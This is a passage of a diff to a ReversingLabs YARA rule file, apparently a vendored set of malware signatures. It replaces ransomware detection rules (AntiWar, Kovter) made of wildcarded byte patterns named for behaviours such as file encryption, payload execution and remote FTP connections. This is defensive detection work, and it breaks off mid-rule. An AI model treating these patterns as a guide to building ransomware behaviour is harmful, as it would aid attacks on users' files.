+            ?? ?? ?? ?? 66 0F 6E D2 89 FF 89 C9 31 D2 66 0F 7E D2 89 15 ?? ?? ?? ?? 81 3D ?? ??
+            ?? ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? BB ?? ?? ?? ?? 4B 75 ?? BB ?? ?? ?? ?? 89 C9 4B
+            75 ?? 89 C9 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? BB ?? ?? ?? ?? 4B
+            75 ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 79 ?? E8 ??
+            ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 79 ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 4B
+            75 ?? 89 FF 90 BB ?? ?? ?? ?? 89 C9 4B 75 ?? 90 90 BB ?? ?? ?? ?? 4B 75 ?? BB ?? ??
+            ?? ?? 4B 75 ?? BB ?? ?? ?? ?? 4B 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            50 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 90 BB ?? ?? ?? ?? 89 D2 4B 75 ?? 6A ?? 68
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 85 F6 0F 84 ?? ?? ?? ?? BA ??
+            ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 90 89 C9 BB ?? ?? ?? ?? 89 FF 4B 75 ?? 68 ?? ?? ?? ??
+            6A ?? 56 E8 ?? ?? ?? ?? BB ?? ?? ?? ?? 89 D2 4B 75 ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 33
+            C0 A3 ?? ?? ?? ?? 64 8B 35 ?? ?? ?? ?? 89 35 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75 ??
+            90 89 F6 90 BB ?? ?? ?? ?? 89 DB 4B 75 ?? 89 D2 89 C0 BB ?? ?? ?? ?? 89 D2 4B 75 ??
+            C7 05 ?? ?? ?? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 FF 4B 75 ?? 89 C0 0F 31 90 89 C7 0F
+            31 90 89 C0 29 F8 89 D2 89 DB 77 ?? 90 90 89 C9 89 F6 8B 3D ?? ?? ?? ?? 90 90 89 C9
+            89 F6 90 03 3D ?? ?? ?? ?? 90 90 89 C9 89 F6 FF D7 89 F6 90 90 BB ?? ?? ?? ?? 4B 75
+            ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? C3
         }
-		$exec_payload = {
-            55 68 ?? ?? ?? ?? 64 FF 32 64 89 22 8B 4D ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ??
-            E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ??
-            ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 6A ?? 6A ?? 8D 55 ?? 33 C0 E8 ?? ?? ?? ??
-            8B 45 ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ??
-            ?? ?? C3
+		$find_files = {
+            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 33 C0 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ??
+            ?? ?? ?? 89 85 ?? ?? ?? ?? 89 45 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8B 45
+            ?? 8B 58 ?? 83 7B ?? ?? 75 ?? 8D 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 8D 55 ??
+            A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 73 ?? 6A ?? 8D 45 ?? 50 8B 43 ?? 50 E8 ?? ?? ?? ??
+            81 7D ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ??
+            50 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 43 ?? 89 85 ?? ?? ?? ?? C6 85 ?? ?? ??
+            ?? ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ??
+            ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C6 85 ??
+            ?? ?? ?? ?? 8B 45 ?? 89 85 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? C6 85
+            ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 95 ?? ?? ?? ?? A1 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B 8D ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 EB ?? 8B 43 ?? 89
+            85 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8B 45 ?? 89 85 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ??
+            89 B5 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 95 ?? ?? ?? ??
+            A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8B D8 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85
+            ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3
         }
-		$copy_payload = {
-            55 8B EC 6A ?? 6A ?? 6A ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 55 ?? B8 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? B2 ?? E8 ??
-            ?? ?? ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? 6A ?? 8D 55 ?? B8 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50
-            8D 55 ?? 33 C0 E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 33 C0 5A 59
-            59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
+		$remote_connection = {
+            55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 FF 05 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 0F 85 ??
+            ?? ?? ?? 8D 83 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 66 8B 83
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 25 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ??
+            ?? ?? 8D 55 ?? 33 C0 8A 83 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? BA ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? 8B 08 FF 51 ?? 68 ?? ?? ?? ?? 66 8B 83
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 25 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ??
+            ?? ?? 8D 55 ?? 33 C0 8A 83 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? BA ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? 8B 08 FF 51 ?? 8D 45 ?? 8D 93 ?? ?? ??
+            ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B
+            55 ?? 8B 83 ?? ?? ?? ?? 8B 08 FF 51 ?? 8D 45 ?? 8D 93 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 83 ?? ?? ??
+            ?? 8B 08 FF 51 ?? 8D 55 ?? 0F B7 83 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? BA
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? 8B 08 FF 51 ?? 8D 55 ?? 0F B7
+            83 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55
+            ?? 8B 83 ?? ?? ?? ?? 8B 08 FF 51 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 6A ??
+            6A ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 81 FE ?? ?? ?? ?? 76 ?? E8 ?? ?? ?? ?? 66 89 B3 ??
+            ?? ?? ?? 66 C7 45 ?? ?? ?? 66 C7 45 ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 0F B7 C6 50 E8 ?? ?? ?? ?? 66 81 BB ?? ?? ?? ?? ?? ?? 75 ?? 8D 4D ?? 66 BA
+            ?? ?? 8B C3 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? 50 0F B7 83 ?? ??
+            ?? ?? 50 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? FF 0D ?? ?? ??
+            ?? 83 3D ?? ?? ?? ?? ?? 75 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8
         }
-		$generate_strings_to_encrypt = {
-            0F B6 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ??
-            E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 50 8D
-            85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ??
-            ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 B9 ?? ??
-            ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ??
-            ?? 0F B6 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45
-            ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 50
-            8D 85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ??
-            ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 B9 ??
-            ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ??
-            ?? ?? 0F B6 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B
-            45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ??
-            50 8D 85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95
-            ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 B9
-            ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ??
-            ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? BA ?? ?? ?? ??
-            8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8
+		$remote_ftp_connection = {
+            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? 8B 45 ?? 8B 18 FF 53 ?? 8B 45 ?? 66
+            8B 80 ?? ?? ?? ?? 66 3D ?? ?? 7E ?? 66 3D ?? ?? 7D ?? 8B 45 ?? 66 83 B8 ?? ?? ?? ??
+            ?? 74 ?? 8B 5D ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? 8B 4D ?? B2 ?? A1 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 66 81 B8 ?? ?? ?? ?? ?? ?? 75 ?? B9
+            ?? ?? ?? ?? B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 88 ?? ?? ?? ?? 8D 45 ?? BA ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? 8B 45 ?? 8B 18 FF 53 ?? 8B 45 ?? 66 8B 80
+            ?? ?? ?? ?? 66 3D ?? ?? 7E ?? 66 3D ?? ?? 7D ?? 8B 45 ?? 66 83 B8 ?? ?? ?? ?? ?? 74
+            ?? 8B 5D ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? 8B 4D ?? B2 ?? A1 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 B8 ?? ?? ?? ?? ?? 74 ?? 8B 45 ?? 83 B8
+            ?? ?? ?? ?? ?? 75 ?? 8B 45 ?? 66 83 B8 ?? ?? ?? ?? ?? 74 ?? 8D 55 ?? 8B 5D ?? 8B 83
+            ?? ?? ?? ?? FF 93 ?? ?? ?? ?? 8B 45 ?? 83 B8 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 45
+            ?? 8A 80 ?? ?? ?? ?? 2C ?? 72 ?? 74 ?? FE C8 74 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B
+            45 ?? FF B0 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 45 ?? FF B0 ?? ?? ?? ?? 8D 45 ?? BA ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? 8B 45 ?? 8B 18 FF 53 ?? EB ?? 8B 45 ?? 8B 88
+            ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? 8B 45 ?? 8B 18
+            FF 53 ?? EB ?? 8B 45 ?? 8B 88 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B
+            55 ?? 8D 4D ?? 8B 45 ?? 8B 18 FF 53 ?? 8B 45 ?? 83 B8 ?? ?? ?? ?? ?? 74 ?? 8B 45 ??
+            80 B8 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 88 ?? ?? ?? ?? 8D 45 ?? BA ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 88 ?? ?? ??
+            ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? 8B 45 ?? 8B 18 FF 53 ??
+            8B 45 ?? 66 8B 80 ?? ?? ?? ?? 66 3D ?? ?? 7E ?? 66 3D ?? ?? 7D ?? 8B 45 ?? 66 83 B8
+            ?? ?? ?? ?? ?? 74 ?? 8B 5D ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? 8B 4D ??
+            B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 66 81 B8 ?? ?? ?? ?? ??
+            ?? 75 ?? B9 ?? ?? ?? ?? B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 88 ?? ?? ?? ?? 8D
+            45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? 8B 45 ?? 8B 18 FF 53 ?? 8B 45
+            ?? 66 8B 80 ?? ?? ?? ?? 66 3D ?? ?? 7E ?? 66 3D ?? ?? 7D ?? 8B 45 ?? 66 83 B8 ?? ??
+            ?? ?? ?? 74 ?? 8B 5D ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? 8B 4D ?? B2 ??
+            A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 66 83 B8 ?? ?? ?? ?? ?? 74 ??
+            8B 5D ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? FF 93
         }
 
 	condition:
-		uint16(0)==0x5A4D and (($generate_strings_to_encrypt and $encrypt_file and $server_communication and $exec_payload) or ($encrypt_file and $server_communication_1 and $copy_payload))
+		uint16(0)==0x5A4D and $do_dll_stuff_and_create_thread and $find_files and $remote_connection and $remote_ftp_connection
 }
-rule REVERSINGLABS_Win64_Ransomware_Antiwar : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Kovter : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects AntiWar ransomware."
+		description = "Yara rule that detects Kovter ransomware."
 		author = "ReversingLabs"
-		id = "3113ec26-e149-527b-9478-4dd86c7fa464"
-		date = "2022-04-21"
-		modified = "2022-04-21"
+		id = "9362ac5a-0b6c-5ac5-ac2b-59dcc1191dc6"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win64.Ransomware.AntiWar.yara#L1-L146"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "2d885f35454aaf7cb33f03c30b6681aa16cbe8353003bbae0b1e9fdecb2ff8a7"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Kovter.yara#L1-L141"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "3082e036b54a73ce8397cfa6e8dc2a807c587d9f17286e75af6cdbe622fae1e1"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -37436,133 +38696,141 @@ rule REVERSINGLABS_Win64_Ransomware_Antiwar : TC_DETECTION MALICIOUS MALWARE FIL
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "AntiWar"
+		tc_detection_name = "Kovter"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files_p1 = {
-            49 8B D7 49 8B CD FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 49 8B CD FF 15 ?? ?? ?? ??
-            48 8D 95 ?? ?? ?? ?? 49 8B CD FF 15 ?? ?? ?? ?? 4C 8B F0 48 89 44 24 ?? 48 83 F8 ??
-            0F 84 ?? ?? ?? ?? 48 8D 35 ?? ?? ?? ?? 41 8B DC 48 8D 3D ?? ?? ?? ?? 66 90 48 8B 0F
-            E8 ?? ?? ?? ?? 48 8B D0 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ??
-            ?? FF C3 48 83 C7 ?? 83 FB ?? 72 ?? 49 8B D7 49 8B CD FF 15 ?? ?? ?? ?? 48 8D 15 ??
-            ?? ?? ?? 49 8B CD FF 15 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 49 8B CD FF 15 ?? ?? ?? ??
-            F6 85 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 66 0F 6F 35 ?? ?? 03 00 66 0F 6F 3D ?? ?? 03
-            00 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 C7 85 ?? ?? 00 00 ?? ?? 8B 05 ?? ?? ?? ?? 4C 8D
-            3C C5 ?? ?? ?? ?? 41 BC ?? ?? ?? ?? 65 48 8B 04 25 ?? ?? ?? ?? 4A 8B 0C 38 41 8B 04
-            0C 39 05 ?? ?? ?? ?? 7E ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ??
-            75 ?? C6 05 ?? ?? ?? ?? ?? 0F 11 35 ?? ?? ?? ?? 0F 11 3D ?? ?? ?? ?? 8B 85 ?? ?? ??
-            ?? 89 05 ?? ?? ?? ?? 0F B7 85 ?? ?? ?? ?? 66 89 05 ?? ?? 04 00 48 8D 0D ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 74 ?? 45 33
-            C9 41 BA ?? ?? ?? ?? 4C 8D 35 ?? ?? ?? ?? 4D 2B D6 49 BB ?? ?? ?? ?? ?? ?? ?? ?? 66
-            66 0F 1F 84 00 ?? ?? 00 00 4B 8D 14 31 41 0F B6 C9 80 E1 ?? C0 E1 ?? 49 8B C3 48 D3
-        }
-		$find_files_p2 = {
-            E8 30 02 4C 8D 42 ?? 41 8D 0C 12 80 E1 ?? C0 E1 ?? 49 8B D3 48 D3 EA 41 30 10 49 83
-            C1 ?? 49 83 F9 ?? 72 ?? 4C 8B 74 24 ?? C6 05 ?? ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 48 8B D0 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
-            48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 E8 ?? 48 63 C8 78 ?? 0F 1F 40 ?? 66 83 BC
-            4D ?? ?? 00 00 ?? 74 ?? FF C8 48 83 E9 ?? 79 ?? EB ?? B3 ?? 48 98 4C 8D B5 ?? ?? ??
-            ?? 4D 8D 34 46 48 8D 3D ?? ?? ?? ?? BE ?? ?? ?? ?? 45 33 ED 48 8B 0F E8 ?? ?? ?? ??
-            48 8B D0 49 8B CE FF 15 ?? ?? ?? ?? 0F B6 DB 85 C0 41 0F 44 DD 48 8D 7F ?? 48 83 EE
-            ?? 75 ?? 4C 8B 6C 24 ?? 4C 8B 74 24 ?? 84 DB 0F 84 ?? ?? ?? ?? 48 8D 35 ?? ?? ?? ??
-            45 33 C0 49 8B D5 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 FF
-            90 89 BD ?? ?? ?? ?? 4C 8D 85 ?? ?? ?? ?? 33 D2 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ??
-            48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 66 0F 1F 84 00 ?? ?? 00 00 83 3D ?? ?? ?? ?? ??
-            0F 84 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 85 C9 0F 84 ?? ?? ?? ?? 83 79 ?? ?? 0F 8C
-            ?? ?? ?? ?? 66 0F 6F 35 ?? ?? 03 00 66 0F 6F 3D ?? ?? 03 00 66 C7 85 ?? ?? 00 00 ??
-            ?? 65 48 8B 04 25 ?? ?? ?? ?? 4A 8B 0C 38 41 8B 04 0C 39 05 ?? ?? ?? ?? 7E ?? 48 8D
-            0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75 ?? C6 05 ?? ?? ?? ?? ?? 0F 11
-            35 ?? ?? ?? ?? 0F 11 3D ?? ?? ?? ?? 0F B7 85 ?? ?? ?? ?? 66 89 05 ?? ?? 04 00 48 8D
-        }
-		$find_files_p3 = {
-            0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D ?? ?? ?? ??
-            ?? 74 ?? 48 8B C7 41 BA ?? ?? ?? ?? 4C 8D 35 ?? ?? ?? ?? 4D 2B D6 49 BB ?? ?? ?? ??
-            ?? ?? ?? ?? 90 4E 8D 0C 30 0F B6 C8 80 E1 ?? C0 E1 ?? 4D 8B C3 49 D3 E8 45 30 01 43
-            8D 0C 11 80 E1 ?? C0 E1 ?? 49 8B D3 48 D3 EA 41 30 51 ?? 48 83 C0 ?? 48 83 F8 ?? 72
-            ?? 4C 8B 74 24 ?? C6 05 ?? ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? C7 44 24
-            ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 44 24 ?? 48 89 7D ?? 48 C7 45 ?? ?? ?? ?? ?? BA
-            ?? ?? ?? ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ??
-            ?? ?? ?? 48 89 85 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? 48 C7 85 ?? ??
-            ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ??
-            ?? ?? ?? 66 89 BD ?? ?? 00 00 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 48 8D 15 ?? ?? ?? ??
-            48 8D 4D ?? E8 ?? ?? ?? ?? 48 8B D6 48 85 DB 48 0F 45 D3 48 8D 4D ?? E8 ?? ?? ?? ??
-            48 8B 3D ?? ?? ?? ?? 48 8B 5F ?? 48 3B 5F ?? 74 ?? 0F 1F 84 00 ?? ?? ?? ?? 48 8B 0B
+		$remote_connection_1 = {
+            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 DB 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D
+            ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ??
+            89 5D ?? 89 5D ?? 8B D9 89 55 ?? 89 45 ?? 8B 75 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ??
+            E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 A1 ?? ?? ?? ?? 80 38 ?? 74
+            ?? 8B CE 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 33 C0
+            89 45 ?? 33 C0 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            48 75 ?? B3 ?? 8D 45 ?? 50 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ??
+            ?? ?? ?? 5A 2B C2 83 C0 ?? 50 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 83 C2 ??
+            8B 45 ?? 59 E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B
+            85 ?? ?? ?? ?? 66 BA ?? ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 5A 2B C2 50 8D
+            85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 66 BA ?? ?? E8 ?? ?? ?? ??
+            8B D0 42 8B 45 ?? 59 E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ??
+            ?? ?? 8B 85 ?? ?? ?? ?? 66 BA ?? ?? E8 ?? ?? ?? ?? 8B C8 49 BA ?? ?? ?? ?? 8B 45 ??
+            E8 ?? ?? ?? ?? 84 DB 0F 84 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 48 0F 8E ?? ?? ?? ??
